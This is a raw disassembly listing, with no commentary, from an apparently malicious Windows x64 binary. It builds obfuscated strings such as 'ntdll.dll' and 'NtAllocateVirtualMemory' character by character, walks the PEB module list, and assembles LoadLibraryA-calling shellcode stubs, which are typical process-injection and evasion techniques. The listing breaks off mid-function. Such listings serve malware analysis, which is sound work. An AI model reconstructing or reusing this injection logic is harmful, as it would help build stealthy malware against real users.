mov eax, dword [rdi + 8]
add eax, ecx
cmp r8, rax
jb 0x14001c0a4
add rdi, 0x28
cmp rdi, r9
jb 0x14001c06f
jmp 0x140026838
mov r10d, dword [rdx + 0x14]
sub r10, rcx
add r10, rdi
add r10, qword [rbp + 0xc10]
xor eax, eax
jmp 0x14001c02d
mov r15d, dword [rdi + 0x14]
sub r15, rcx
add r15, r8
mov r8, qword [rbp + 0xc10]
xor r11d, r11d
add r15, r8
je 0x140026834
mov edi, dword [r10 + 0x10]
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x14001c0db
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x14001c3ef
add rdx, 0x28
cmp rdx, r9
jb 0x14001c0c5
mov qword [rbp + 0xc20], r11
mov rdx, r15
lea rcx, [rbp + 0xfd0]
call fcn.14002ed88
mov byte [rbp + 0x10], Ordinal_46
mov edi, 7
mov r9d, edi
xor r8d, r8d
mov dl, 0x61
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + 0x11], al
mov r9d, edi
lea esi, [rdi - 6]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + 0x12], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x69
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + 0x13], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + 0x14], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x6d
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + 0x15], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + 0x16], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + 0x17], al
xor eax, eax
mov byte [rbp + 0x18], al
mov edi, eax
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi + 0x11]
lea rcx, [rbp + 0x10]
call fcn.14002e518
mov byte [rbp + rdi + 0x11], al
add rdi, rsi
cmp rdi, 7
jb 0x14001c19e
mov esi, reloc.WS2_32.dll_sendto
xor eax, eax
mov byte [rbp + 0x18], al
lea rax, [rbp + 0xc29]
mov qword [rsp + 0x20], rax
lea r9d, [rsi - 0xd]
xor r8d, r8d
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0xc40]
call fcn.14002eef4
lea rcx, [rbp + 0xc40]
call fcn.14002eae4
lea rdx, [rbp + 0x11]
sub rdx, rax
lea r8d, [rsi - 0x13]
movzx edi, byte [rax]
movzx ecx, byte [rax + rdx]
sub edi, ecx
jne 0x14001c21a
add rax, r8
test ecx, ecx
jne 0x14001c208
lea rcx, [rbp + 0xc40]
call fcn.14002eca0
test edi, edi
jne 0x14001c407
mov byte [rbp + 0x200], 0x68
mov edi, ntohs
mov r9d, edi
xor r8d, r8d
mov dl, 0x75
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x201], al
mov r9d, edi
lea r14d, [rdi - 0xb]
mov r8d, r14d
mov dl, 0x63
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x202], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x203], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x204], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x62
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x205], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x61
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x206], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x207], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x208], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x209], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x64
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x20a], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x6c
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x20b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + 0x20c], al
xor eax, eax
mov byte [rbp + 0x20d], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x201]
lea rcx, [rbp + 0x200]
call fcn.14002e6fc
mov byte [rbp + rdi + 0x201], al
add rdi, r14
cmp rdi, 0xc
jb 0x14001c38a
xor edi, edi
mov byte [rbp + 0x20d], dil
lea rdx, [rbp + 0x201]
lea rcx, [rbp + 0xce0]
call fcn.14002ed88
mov rdx, rax
lea rcx, [rbp + 0xfd0]
call fcn.14002ecfc
lea rcx, [rbp + 0xce0]
call fcn.14002eca0
jmp 0x14001c409
mov eax, dword [rdx + 0x14]
sub rax, rcx
add rax, rdi
add rax, r8
mov qword [rbp + 0xc20], rax
jmp 0x14001c0eb
xor edi, edi
mov dword [rbp + 0x282e8], 0x28ec8348
mov qword [rbp + 0x282ec], 0xb948
mov dword [rbp + 0x282f4], 0xb8480000
and qword [rbp + 0x282f8], 0
mov dword [rbp + 0x28300], 0xa348d0ff
and qword [rbp + 0x28304], 0
mov dword [rbp + 0x2830c], 0x28c48348
mov byte [rbp + 0x28310], Ordinal_200
mov dword [rbp + 0x282b0], 0x28ec8348
mov qword [rbp + 0x282b4], 0xba48
mov dword [rbp + 0x282bc], 0xb9480000
and qword [rbp + 0x282c0], 0
mov qword [rbp + 0x282c8], 0xb848
mov dword [rbp + 0x282d0], 0xd0ff0000
mov qword [rbp + 0x282d4], 0xa348
mov dword [rbp + 0x282dc], 0x83480000
mov word [rbp + 0x282e0], 0x28c4
mov byte [rbp + 0x282e2], Ordinal_200
mov qword [rbp + 0xdc8], rdi
mov qword [rbp + 0xfa8], 0x1000
mov byte [rbp + 0x770], select
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x771], al
mov r9, r13
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x772], al
mov r9, r13
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x773], al
mov r9, r13
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x774], al
mov r9, r13
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x775], al
mov r9, r13
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x776], al
mov r9, r13
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x777], al
mov r9, r13
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x778], al
mov r9, r13
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x779], al
mov r9, r13
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x77a], al
mov r9, r13
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x77b], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x77c], al
mov r9, r13
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x77d], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x77e], al
mov r9, r13
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x77f], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x780], al
mov r9, r13
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x781], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x782], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x783], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x784], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x785], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_setsockopt
mov dl, WSAStartup
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x786], al
mov r9, r13
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + 0x787], al
xor eax, eax
mov byte [rbp + 0x788], al
lea esi, [rax + 1]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x771]
lea rcx, [rbp + 0x770]
call fcn.14002e8e4
mov byte [rbp + rdi + 0x771], al
add rdi, rsi
cmp rdi, r13
jb 0x14001c767
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x788], dil
mov byte [rbp + 0x20], 0x40
lea r14d, [rsi - 0xb]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x21], al
mov r9d, r14d
lea r14d, [rsi - 0x13]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x22], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x23], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x24], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x25], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x26], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x27], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x28], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + 0x29], al
xor eax, eax
mov byte [rbp + 0x2a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x21]
lea rcx, [rbp + 0x20]
call fcn.14002e000
mov byte [rbp + rdi + 0x21], al
add rdi, r14
cmp rdi, 9
jb 0x14001c870
mov r14d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0x2a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001c9b9
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x48], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x80], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x60]
test r8d, r8d
jle 0x14001c939
lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rbp - 0x80]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [rdx + r9], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x14001c90a
mov r14d, reloc.WLDAP32.dll_Ordinal_32
lea r12d, [r14 - 0x10]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x80], r10
je 0x14001c992
mov rax, rcx
lea r9, [rbp + 0x21]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001c98b
add rax, r11
test edx, edx
jne 0x14001c976
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x14001ddba
mov rax, qword [rbp - 0x48]
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
cmp rax, qword [rsp + 0x70]
jne 0x14001c8c3
mov rax, qword [rbp + 0xdc8]
mov qword [rbp + 0xc18], rax
mov qword [rbp + 0xdd0], r9
mov qword [rbp + 0xfb0], 0x1000
mov byte [rbp + 0x790], select
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x791], al
mov r9, r13
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x792], al
mov r9, r13
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x793], al
mov r9, r13
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x794], al
mov r9, r13
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x795], al
mov r9, r13
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x796], al
mov r9, r13
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x797], al
mov r9, r13
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x798], al
mov r9, r13
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x799], al
mov r9, r13
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x79a], al
mov r9, r13
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x79b], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x79c], al
mov r9, r13
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x79d], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x79e], al
mov r9, r13
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x79f], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a0], al
mov r9, r13
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a1], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a2], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a3], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a4], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a5], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_setsockopt
mov dl, WSAStartup
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a6], al
mov r9, r13
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + 0x7a7], al
xor eax, eax
mov byte [rbp + 0x7a8], al
mov edi, eax
lea esi, [rax + 1]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x791]
lea rcx, [rbp + 0x790]
call fcn.14002e8e4
mov byte [rbp + rdi + 0x791], al
add rdi, rsi
cmp rdi, r13
jb 0x14001cc7c
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x7a8], dil
mov byte [rbp + 0x1d0], 0x40
lea r14d, [rsi - 0xb]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d1], al
mov r9d, r14d
lea r14d, [rsi - 0x13]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d2], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d3], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d4], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d5], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d6], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d7], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d8], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + 0x1d9], al
xor eax, eax
mov byte [rbp + 0x1da], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1d1]
lea rcx, [rbp + 0x1d0]
call fcn.14002e000
mov byte [rbp + rdi + 0x1d1], al
add rdi, r14
cmp rdi, 9
jb 0x14001cdc1
mov r14d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0x1da], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001cf17
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x48], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x80], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x60]
test r8d, r8d
jle 0x14001ce94
lea ebx, [rax + 1]
mov r10d, ebx
mov r12, qword [rbp - 0x80]
mov ecx, r10d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x14001ce66
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx - 1]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x80], r10
je 0x14001cef0
mov rax, rcx
lea r9, [rbp + 0x1d1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001cee9
add rax, r11
test edx, edx
jne 0x14001ced4
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x14001e021
mov rax, qword [rbp - 0x48]
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
cmp rax, qword [rsp + 0x70]
jne 0x14001ce20
mov rax, qword [rbp + 0xdd0]
mov qword [rbp - 0x48], rax
mov rcx, qword [rbp + 0xc18]
mov qword [rbp + 0x282ee], rcx
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x282f8], rax
lea rax, [rcx + 0x500]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x28304], rax
mov rax, qword [rbp + 0xfe0]
mov qword [rbp - 0x78], rax
lea rcx, [rbp + 0xfd0]
call fcn.14002eae4
mov qword [rbp - 0x70], rax
mov byte [rbp + 0x500], reloc.WLDAP32.dll_Ordinal_60
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x501], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x502], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x503], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x504], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x505], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x506], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x507], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x508], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x509], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x50a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x50b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x50c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x50d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x50e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x50f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x510], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x511], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x512], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x513], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + 0x514], al
xor eax, eax
mov byte [rbp + 0x515], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x501]
lea rcx, [rbp + 0x500]
call fcn.14002e778
mov byte [rbp + rdi + 0x501], al
add rdi, rbx
cmp rdi, rsi
jb 0x14001d1ba
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x515], dil
lea esi, [rbx - 0x10]
mov byte [rbp + 0x1c0], sil
lea r9d, [rbx - 8]
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c1], al
lea r9d, [rbx - 8]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c2], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c3], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c4], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c5], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c6], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c7], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c8], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + 0x1c9], al
xor eax, eax
mov byte [rbp + 0x1ca], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1c1]
lea rcx, [rbp + 0x1c0]
call fcn.14002e000
mov byte [rbp + rdi + 0x1c1], al
add rdi, rsi
cmp rdi, 9
jb 0x14001d2fc
mov esi, reloc.WS2_32.dll_sendto
xor r9d, r9d
mov byte [rbp + 0x1ca], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001d457
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x38], rax
